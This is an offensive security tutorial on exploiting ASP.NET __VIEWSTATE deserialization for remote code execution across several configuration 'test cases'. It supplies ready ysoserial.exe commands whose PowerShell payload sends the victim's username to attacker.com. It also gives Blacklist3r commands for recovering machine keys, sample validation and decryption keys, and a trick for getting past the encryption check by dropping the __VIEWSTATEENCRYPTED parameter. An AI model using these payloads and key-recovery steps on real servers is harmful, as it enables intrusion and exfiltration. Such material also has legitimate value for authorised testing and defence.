Exploiting __VIEWSTATE parameter

What is ViewState

ViewState is the method that the ASP.NET framework uses by default to preserve page and control values between web pages. When the HTML for the page is rendered, the current state of the page and values that need to be retained during postback are serialized into base64-encoded strings and output in the ViewState hidden field or fields.
The following properties or combination of properties apply to ViewState information:

Base64
- Can be defined using EnableViewStateMac and ViewStateEncryptionMode attribute set to false
Base64 + MAC (Message Authentication Code) Enabled
- Can be defined using EnableViewStateMac attribute set to true
Base64 + Encrypted
- Can be defined using viewStateEncryptionMode attribute set to true

Test Cases

Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false

It is also possible to disable the ViewStateMAC completely by setting the AspNetEnforceViewStateMac registry key to zero in:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identifying ViewState Attributes

You can try to identify if ViewState is MAC protected by capturing a request containing this parameter with BrupSuite:

If Mac is not used to protect the parameter you can exploit it using YSoSerial.Net.

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Developers can remove ViewState from becoming part of an HTTP Request (the user won’t receive this cookie).
One may assume that if ViewState is not present, their implementation is secure from any potential vulnerabilities arising with ViewState deserialization.
However, that is not the case. If we add ViewState parameter to the request body and send our serialized payload created using ysoserial, we will still be able to achieve code execution as shown in Case 1.

Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

In order to enable ViewState MAC for a specific page we need to make following changes on a specific aspx file:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

We can also do it for overall application by setting it on the web.config file as shown below:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
 <machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
 <pages enableViewStateMac="true" />
</system.web>
</configuration>

As the parameter is MAC protected this time to successfully execute the attack we first need the key used. In this case, BurpSuite will let us know that the parameter is MAC protected:

You can try to use Blacklist3r(AspDotNetWrapper.exe) to find the key used.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

If you are lucky and the key is found,you can proceed with the attack using YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

In cases where _VIEWSTATEGENERATOR parameter isn’t sent by the server you don’t need to provide the --generator parameter but these ones:

--apppath="/" --path="/hello.aspx"

Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true

In this case Burp doesn’t find if the parameter is protected with MAC because it doesn’t recognise the values. Then, the value is probably encrypted and you will need the Machine Key to encrypt your payload to exploit the vulnerability.

In this case the Blacklist3r module is under development…

Prior to .NET 4.5, ASP.NET can accept an unencrypted ___VIEWSTATE_parameter from the users even if ViewStateEncryptionMode has been set to Always. ASP.NET only checks the presence of the __VIEWSTATEENCRYPTED parameter in the request. If one removes this parameter, and sends the unencrypted payload, it will still be processed.

Threfore, if the Machinekey is known (e.g. via a directory traversal issue), YSoSerial.Net command used in the Case 2, can be used to perform RCE using ViewState deserialization vulnerability.

Remove __VIEWSTATEENCRYPTED parameter from the request in order to exploit the ViewState deserialization vulnerability, else it will return a Viewstate MAC validation error and exploit will fail as shown in Figure:

Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false

We can force the usage of ASP.NET framework by specifying the below parameter inside the web.config file as shown below.

<httpRuntime targetFramework="4.5" />

Alternatively, this can be done by specifying the below option inside the machineKey paramter of web.config file.

compatibilityMode="Framework45"

As in the previous case Burp doesn’t identify if the request is MAC protected because the value is encrypted. Then, to send a valid payload the attacker need the key.

You can try to use Blacklist3r(AspDotNetWrapper.exe) to find the key being used:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

For a more detailed description for IISDirPath and TargetPagePath refer here

Once a valid Machine key is identified, the next step is to generate a serialized payload using YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

If you have the value of __VIEWSTATEGENERATOR you can try to use the --generator parameter with that value and omit the parameters --path and --apppath

If the ViewState deserialization vulnerability is successfully exploited, an attacker-controlled server will receive an out of band request containing the username. PoC of Successful Exploitation

Test Case 6 – ViewStateUserKeys is being used

The ViewStateUserKey property can be used to defend against a CSRF attack. If such a key has been defined in the application and we try to generate the ViewState payload with the methods discussed till now, the payload won’t be processed by the application.
You need to use one more parameter in order to create correctly the payload:

--viewstateuserkey="randomstringdefinedintheserver"

Result of a Successful Exploitation

For all the test cases, if the ViewState YSoSerial.Net payload works successfully then the server responds with “500 Internal server error” having response content “The state information is invalid for this page and might be corrupted” and we get the OOB request as shown in Figures below:

out of band request with the current username